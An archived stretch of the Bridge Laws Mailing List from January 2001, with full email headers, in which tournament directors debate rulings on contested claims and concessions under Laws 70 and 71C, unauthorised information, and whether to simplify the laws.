[209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CEKkt01384 for ; Sat, 13 Jan 2001 01:20:47 +1100 (EST) Received: from kay (ashsv2-11.cswnet.com [216.84.114.203]) by mail.cswnet.com (Postfix) with SMTP id E5AF65D0CA; Fri, 12 Jan 2001 08:20:40 -0600 (CST) Message-ID: <004501c07ca3$21f08c20$cb7254d8@kay> From: "Nelson/Kay Ford" To: "Kooijman, A." , "'Marvin L. French'" , References: <67378DEA146DD21194C20000F87B08BA01B8B76C@fdwag002s.fd.agro.nl> Subject: Re: [BLML] Concession Date: Fri, 12 Jan 2001 08:22:43 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I wanted to ask the following question anyway, and since it is related to this one, I'll pose it now: With a half-dozen or so cards left, Declarer (a fine player) claims by showing his hand and making no Clarification Statement. His hand contains two trumps (Spades), two Hearts (including the top one), and a couple of winners in other suits. Dummy contains 1 trump, 1 Heart, and losers in other suits. Declarer's LHO contests and asks that Declarer lead a trump. This does not allow Declarer to ruff his losing Heart. LHO contends that it is within the realm of possibility that Declarer could have made a mistake counting trump and/or thought his last Heart would be good and therefore might have led his trump first, and that such a play would have been, in the terms of the footnote to L70, "a play that would be careless or inferior for the class of player involved, but not irrational." What should the ruling be, and where should a director draw the line between "careless or inferior" and "irrational" for a very good player? If this is considered "irrational" for a very good player, how about for the poor-to-average player who sometimes makes an unnecessary trump lead just to be sure he got them all? (Although such players rarely claim with 6 cards out.) Nelson Ford http://www.hsbridge.com ----- Original Message ----- From: "Kooijman, A." To: "'Marvin L. French'" ; Sent: Friday, January 12, 2001 3:22 AM Subject: RE: [BLML] Concession > > > Fearghal wrote: > > > > > and the position at this moment is: > > > > > > T > > > -- > > > 63 > > > 984 > > > KJ -- > > > KJ N 6 > > > -- W E T54 > > > Q6 S JT5 > > > Q8762 > > > Q > > > -- > > > -- > > > > > > The card partner has led is, in fact, the DT, and the play will go > > > [fairly obviously] ruff, over-ruff, SK, HK, three off. > > > > > > Should the defence get three off? > > > > > Law 71C: 'the Director shall cancel a concession if a player has > > conceded > > > a trick that could not have been lost by any normal play of the > > remaining > > > cards,...' > > > > > > After the 10D return, normal play leads to 3 off. > > > > > Meaning *any* normal play, I presume. Right, as not cashing the spade > > king would be extremely abnormal for any level of player. > > > > Marv > > San Diego, CA, USA > > > > > Thank you David, these are the things this group should talk about. Not to > create another marvellous academic discussion, which is not what I read in > the answers this time, but to get more concensus on how to rule in these > cases. TD's all over the world, and even AC ( but how to organize that?), > should come to the same conclusion in this case. Which might be complicated > because of the use of 'normal', which differs for different qualities of > players. Most of us seem to allow west to take another trick. I don't. Yes > IF west overruffs and if he realises that south has the HQ he should play > another trump and cash the HK. But he might go wrong in both aspects. Let us > assume David Burn was sitting west (which is possible) and that he > claimed/con ceded this way (which is rather unrealistic), and knowing his > qualities as a player, even then I would not allow another trick (and he > would not ask for it). > > Let us try to get concensus, Grattan still can use more examples for his > Code of Practice. > > ton > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 01:33:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CEX5U05741 for bridge-laws-outgoing; Sat, 13 Jan 2001 01:33:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CEWvt05699 for ; Sat, 13 Jan 2001 01:32:58 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id PAA08917; Fri, 12 Jan 2001 15:32:54 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 12 15:35:06 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYTPB7BAZI0025WM@AGRO.NL>; Fri, 12 Jan 2001 15:32:20 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 12 Jan 2001 15:27:57 +0100 Content-return: allowed Date: Fri, 12 Jan 2001 15:32:18 +0100 From: "Kooijman, A." Subject: RE: [BLML] Concession To: "'Nelson/Kay Ford'" , "Kooijman, A." , "'Marvin L. French'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B778@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk It is really not possible to answer this question. We need to know the whole distribution, the bidding and the play starting from trick one (and even that might not be enough). ton > -----Oorspronkelijk bericht----- > Van: Nelson/Kay Ford [mailto:nford@mail.cswnet.com] > Verzonden: vrijdag 12 januari 2001 15:23 > Aan: Kooijman, A.; 'Marvin L. French'; bridge-laws@rgb.anu.edu.au > Onderwerp: Re: [BLML] Concession > > > I wanted to ask the following question anyway, and since it is > related to this one, I'll pose it now: > > With a half-dozen or so cards left, Declarer (a fine player) claims > by showing his hand and making no Clarification Statement. His hand > contains two trumps (Spades), two Hearts (including the top one), and > a couple of winners in other suits. > > Dummy contains 1 trump, 1 Heart, and losers in other suits. > > Declarer's LHO contests and asks that Declarer lead a trump. > This does not allow Declarer to ruff his losing Heart. > > LHO contends that it is within the realm of possibility that Declarer > could have made a mistake counting trump and/or thought his last > Heart would be good and therefore might have led his trump first, > and that such a play would have been, in the terms of the footnote > to L70, "a play that would be careless or inferior for the class of > player involved, but not irrational." > > What should the ruling be, and where should a director draw the line > between "careless or inferior" and "irrational" for a very > good player? > > If this is considered "irrational" for a very good player, how about > for the poor-to-average player who sometimes makes an unnecessary > trump lead just to be sure he got them all? (Although such players > rarely claim with 6 cards out.) > > Nelson Ford > http://www.hsbridge.com > > ----- Original Message ----- > From: "Kooijman, A." > To: "'Marvin L. French'" ; > > Sent: Friday, January 12, 2001 3:22 AM > Subject: RE: [BLML] Concession > > > > > > > Fearghal wrote: > > > > > > > and the position at this moment is: > > > > > > > > T > > > > -- > > > > 63 > > > > 984 > > > > KJ -- > > > > KJ N 6 > > > > -- W E T54 > > > > Q6 S JT5 > > > > Q8762 > > > > Q > > > > -- > > > > -- > > > > > > > > The card partner has led is, in fact, the DT, and the > play will go > > > > [fairly obviously] ruff, over-ruff, SK, HK, three off. > > > > > > > > Should the defence get three off? > > > > > > > Law 71C: 'the Director shall cancel a concession if a > player has > > > conceded > > > > a trick that could not have been lost by any normal play of the > > > remaining > > > > cards,...' > > > > > > > > After the 10D return, normal play leads to 3 off. > > > > > > > Meaning *any* normal play, I presume. Right, as not > cashing the spade > > > king would be extremely abnormal for any level of player. > > > > > > Marv > > > San Diego, CA, USA > > > > > > > > > Thank you David, these are the things this group should > talk about. Not to > > create another marvellous academic discussion, which is not > what I read in > > the answers this time, but to get more concensus on how to > rule in these > > cases. TD's all over the world, and even AC ( but how to > organize that?), > > should come to the same conclusion in this case. Which might be > complicated > > because of the use of 'normal', which differs for different > qualities of > > players. Most of us seem to allow west to take another > trick. I don't. Yes > > IF west overruffs and if he realises that south has the HQ > he should play > > another trump and cash the HK. But he might go wrong in > both aspects. Let > us > > assume David Burn was sitting west (which is possible) and that he > > claimed/con ceded this way (which is rather unrealistic), > and knowing his > > qualities as a player, even then I would not allow another > trick (and he > > would not ask for it). > > > > Let us try to get concensus, Grattan still can use more > examples for his > > Code of Practice. > > > > ton > > -- > > > ============================================================== > ========== > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of > the message. > > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:04:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CF4Z116803 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:04:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CF4It16706 for ; Sat, 13 Jan 2001 02:04:23 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14H5kS-0007YK-0C for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 15:04:14 +0000 Message-ID: Date: Fri, 12 Jan 2001 03:00:11 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Bad Language References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> In-Reply-To: <01ae01c07c07$c75f49e0$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >We have to recognize that England and the U. S. are too far apart, >geographically and culturally, to expect them to have a completely >common language. It offends my ear/eye to hear/read the English "one" >used for "I," as in "One enjoyed one's trip to the continent last >year," but I suppose the British Davids find it perfectly acceptable. Certainly not. That's French. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:04:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CF4VY16783 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:04:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CF4It16705 for ; Sat, 13 Jan 2001 02:04:23 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14H5kS-0002vt-0B for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 15:04:14 +0000 Message-ID: Date: Fri, 12 Jan 2001 02:58:05 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Concession References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk John (MadDog) Probst writes >John (MadDog) Probst|I just got 0.70 ACBL |phone & fax :20 8980 4947 >451 Mile End Road |playing with my wife |icq 10810798 OKb ChienFou >London E3 4PA |How come you only got|john@probst.demon.co.uk >+44-(0)20 8983 5818 |0.49 with Didi?????? |www.probst.demon.co.uk When playing with Didi one's mind is on other things. When playing with one's wife .... -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:08:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CF8ZY17339 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:08:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CF8Rt17290 for ; Sat, 13 Jan 2001 02:08:28 +1100 (EST) Received: from kay (ashsv2-11.cswnet.com [216.84.114.203]) by mail.cswnet.com (Postfix) with SMTP id CFBA35D08A; Fri, 12 Jan 2001 09:08:22 -0600 (CST) Message-ID: <00b101c07ca9$cbdc3ee0$cb7254d8@kay> From: "Nelson/Kay Ford" To: "Kooijman, A." , "'Marvin L. French'" , References: <67378DEA146DD21194C20000F87B08BA01B8B778@fdwag002s.fd.agro.nl> Subject: Re: [BLML] Concession Date: Fri, 12 Jan 2001 09:10:25 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk So when I'm called to the table for a contested claim, I should ask for the "whole distribution, the bidding and the play starting from trick one (and even that might not be enough)"? I've NEVER seen a director ask for this level of detail, and even if I did, how the heck am I ever supposed to make a few rulings like this and finish the event before midnight? I'm just looking for some general guidance in distinguishing between "irrational" and "careless/inferior". Nelson Ford ----- Original Message ----- From: "Kooijman, A." To: "'Nelson/Kay Ford'" ; "Kooijman, A." ; "'Marvin L. French'" ; Sent: Friday, January 12, 2001 8:32 AM Subject: RE: [BLML] Concession > It is really not possible to answer this question. We need to know the whole > distribution, the bidding and the play starting from trick one (and even > that might not be enough). > > ton > > > > > > -----Oorspronkelijk bericht----- > > Van: Nelson/Kay Ford [mailto:nford@mail.cswnet.com] > > Verzonden: vrijdag 12 januari 2001 15:23 > > Aan: Kooijman, A.; 'Marvin L. French'; bridge-laws@rgb.anu.edu.au > > Onderwerp: Re: [BLML] Concession > > > > > > I wanted to ask the following question anyway, and since it is > > related to this one, I'll pose it now: > > > > With a half-dozen or so cards left, Declarer (a fine player) claims > > by showing his hand and making no Clarification Statement. His hand > > contains two trumps (Spades), two Hearts (including the top one), and > > a couple of winners in other suits. > > > > Dummy contains 1 trump, 1 Heart, and losers in other suits. > > > > Declarer's LHO contests and asks that Declarer lead a trump. > > This does not allow Declarer to ruff his losing Heart. > > > > LHO contends that it is within the realm of possibility that Declarer > > could have made a mistake counting trump and/or thought his last > > Heart would be good and therefore might have led his trump first, > > and that such a play would have been, in the terms of the footnote > > to L70, "a play that would be careless or inferior for the class of > > player involved, but not irrational." > > > > What should the ruling be, and where should a director draw the line > > between "careless or inferior" and "irrational" for a very > > good player? > > > > If this is considered "irrational" for a very good player, how about > > for the poor-to-average player who sometimes makes an unnecessary > > trump lead just to be sure he got them all? (Although such players > > rarely claim with 6 cards out.) > > > > Nelson Ford > > http://www.hsbridge.com > > > > ----- Original Message ----- > > From: "Kooijman, A." > > To: "'Marvin L. French'" ; > > > > Sent: Friday, January 12, 2001 3:22 AM > > Subject: RE: [BLML] Concession > > > > > > > > > > > Fearghal wrote: > > > > > > > > > and the position at this moment is: > > > > > > > > > > T > > > > > -- > > > > > 63 > > > > > 984 > > > > > KJ -- > > > > > KJ N 6 > > > > > -- W E T54 > > > > > Q6 S JT5 > > > > > Q8762 > > > > > Q > > > > > -- > > > > > -- > > > > > > > > > > The card partner has led is, in fact, the DT, and the > > play will go > > > > > [fairly obviously] ruff, over-ruff, SK, HK, three off. > > > > > > > > > > Should the defence get three off? > > > > > > > > > Law 71C: 'the Director shall cancel a concession if a > > player has > > > > conceded > > > > > a trick that could not have been lost by any normal play of the > > > > remaining > > > > > cards,...' > > > > > > > > > > After the 10D return, normal play leads to 3 off. > > > > > > > > > Meaning *any* normal play, I presume. Right, as not > > cashing the spade > > > > king would be extremely abnormal for any level of player. > > > > > > > > Marv > > > > San Diego, CA, USA > > > > > > > > > > > > > Thank you David, these are the things this group should > > talk about. Not to > > > create another marvellous academic discussion, which is not > > what I read in > > > the answers this time, but to get more concensus on how to > > rule in these > > > cases. TD's all over the world, and even AC ( but how to > > organize that?), > > > should come to the same conclusion in this case. Which might be > > complicated > > > because of the use of 'normal', which differs for different > > qualities of > > > players. Most of us seem to allow west to take another > > trick. I don't. Yes > > > IF west overruffs and if he realises that south has the HQ > > he should play > > > another trump and cash the HK. But he might go wrong in > > both aspects. Let > > us > > > assume David Burn was sitting west (which is possible) and that he > > > claimed/con ceded this way (which is rather unrealistic), > > and knowing his > > > qualities as a player, even then I would not allow another > > trick (and he > > > would not ask for it). > > > > > > Let us try to get concensus, Grattan still can use more > > examples for his > > > Code of Practice. > > > > > > ton > > > -- > > > > > ============================================================== > > ========== > > > (Un)Subscribing? Want the archives? email > > majordomo@rgb.anu.edu.au with > > > "(un)subscribe bridge-laws" or just "help" in the BODY of > > the message. > > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:41:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CFfH128163 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:41:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CFf1t28089 for ; Sat, 13 Jan 2001 02:41:02 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14H6K1-000EqD-0U for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 15:40:57 +0000 Message-ID: Date: Fri, 12 Jan 2001 15:29:43 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Equity or simplicity? References: <01C07BE9.FF9DC520@user-2ive4ar.dialup.mindspring.com> <021801c07c5a$068bcce0$56991e18@san.rr.com> In-Reply-To: <021801c07c5a$068bcce0$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <021801c07c5a$068bcce0$56991e18@san.rr.com>, Marvin L. French writes > snip >> >Right on, Craig. Better education, and enforcement, is certainly in >order. > The TD's most important function, IMO >Simpler Laws might help a lot. Perhaps we need a lightweight version for >optional use in clubs and lower-level events at sectionals, regionals, >and NABCs. Not only simpler Laws, but also simpler ACBL regulations >(Alerts, for instance). We have four levels of ACBL Convention Charts, >so there is some precedence. > Nope, one set of Laws. maybe more sets of regulations eg Law "The revoke penalty need not be applied if the SO chooses" Reg Sydenham Ladies Bridge circle "We do not enforce revoke penalties" >Marv >San Diego, CA, USA -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:41:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CFfEJ28148 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:41:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CFf2t28092 for ; Sat, 13 Jan 2001 02:41:03 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14H6K2-000EqC-0U for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 15:40:58 +0000 Message-ID: Date: Fri, 12 Jan 2001 15:22:53 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Bad Language References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , Todd Zimnoch writes snip > Also, rather than making the formal/informal distinction between the >2nd and 3rd persons like Spanish and French do, Finnish and Russian use the >2nd person plural as the polite address for one person. It's not unheard of >to use a plural construct to refer to one person. > >-Todd We are amused. -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:41:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CFfHj28166 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:41:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CFf2t28093 for ; Sat, 13 Jan 2001 02:41:03 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14H6K2-000EqE-0U for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 15:40:59 +0000 Message-ID: Date: Fri, 12 Jan 2001 15:39:24 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] What is suggested ? References: <200101101704.RAA15000@tempest.npl.co.uk> <3A5D9D7E.D73AE8B1@village.uunet.be> In-Reply-To: <3A5D9D7E.D73AE8B1@village.uunet.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <3A5D9D7E.D73AE8B1@village.uunet.be>, Herman De Wael writes >Robin Barker wrote: >> >> > >> > My first cut: >> > >> > ...the player may not take an action that is influenced by the extraneous >> > information, or might well appear to be so influenced. >> > >> >> If the concern is to prevent players from making illogical alternatives >> suggested by the UI, why not: >> >> "the partner may not choose an action that could demonstrably have been >> suggested over logical alternative actions by the extraneous information." >> >> The action need not be logical, just the alternative less-suggested actions. >> > >I feel that this is what the Laws already say (or try to >say). > >Without this, there is a very difficult extra decision to >make. Was the chosen action logical in the first place ? > >Last week I held : > >9 xxx xxxx QJ10xx > >both sides vul and partner overcalled 2Sp (weak) over 1Di, >and this was doubled (negative). > >I bid 4Spades. > >Is this logical ? I don't think so. > >Yet it scored almost a top accross the whole world, because >we went for -1400, and all opponents that were not in 6He, >were in 7NT. > >What if there were some UI that partner had seven spades >(she did) in stead of the expected six ? >Wouldn't that have made the bid more attractive, and thus be >classed "suggested". >Would I really have an excuse in saying, 4Sp is not logical >under any definition ? > 4S is not logical for most players, but it is more attractive in the 7-card suit case. Since it has been called it is, for you (and me): 1) a LA 2) more attractive cheers john -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:48:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CFmW900627 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:48:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CFmPt00598 for ; Sat, 13 Jan 2001 02:48:26 +1100 (EST) Received: from localhost (grabiner@localhost) by psa836.la.asu.edu (8.10.2/8.10.2) with ESMTP id f0C8w2208881; Fri, 12 Jan 2001 08:58:02 GMT Date: Fri, 12 Jan 2001 08:58:02 +0000 (/etc/localtime) From: David J Grabiner To: Nelson/Kay Ford cc: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Concession In-Reply-To: <004501c07ca3$21f08c20$cb7254d8@kay> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Fri, 12 Jan 2001, Nelson/Kay Ford wrote: > I wanted to ask the following question anyway, and since it is > related to this one, I'll pose it now: > > With a half-dozen or so cards left, Declarer (a fine player) claims > by showing his hand and making no Clarification Statement. His hand > contains two trumps (Spades), two Hearts (including the top one), and > a couple of winners in other suits. > > Dummy contains 1 trump, 1 Heart, and losers in other suits. > > Declarer's LHO contests and asks that Declarer lead a trump. > This does not allow Declarer to ruff his losing Heart. > > LHO contends that it is within the realm of possibility that Declarer > could have made a mistake counting trump and/or thought his last > Heart would be good and therefore might have led his trump first, > and that such a play would have been, in the terms of the footnote > to L70, "a play that would be careless or inferior for the class of > player involved, but not irrational." If it is not reasonable that declarer thought the last heart was good, then the claim must be allowed. Declarer did make the clarification statement, "I will take the last six tricks", and if the only way to take six tricks involves an obvious heart ruff, then he is entitled to take the ruff. It is irrelevant whether declarer could have miscounted trumps in this situation, since there is no way that declarer could take six tricks if he drew another trump. Even if the last heart could be good, I would accept the claim if the rejection depends on declarer miscounting trumps. This is exactly the type of claim objection we want to discourage; should the TD tell a weak player (or a player he does not know who might be weak), "I am not sure that you could count the trumps correctly, and therefore I have to rule against you"? This player will never claim again. The intended lesson may be that claims need to be stated precisely, but that is not what will be understood. It seems unblikely that a normal line of play would involve cashing a superfluous trump before cashing a "good" heart, since that is not how people usually play, but if it was normal in the context, then the claim should be disallowed. Even then, it would be just one trick to the defenders; it is certainly not normal to cash your last trump unnecessarily and let the opponents run winners if they get in. just in case you have claimed assuming that a suit breaks when it actually doesn't. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 02:55:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CFtWY03010 for bridge-laws-outgoing; Sat, 13 Jan 2001 02:55:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CFtOt02973 for ; Sat, 13 Jan 2001 02:55:25 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id KAA19448 for ; Fri, 12 Jan 2001 10:55:19 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA100954917; Fri, 12 Jan 2001 10:55:17 -0500 X-Openmail-Hops: 1 Date: Fri, 12 Jan 2001 10:55:16 -0500 Message-Id: Subject: [BLML] Law 71: Concession cancelled Mime-Version: 1.0 From: 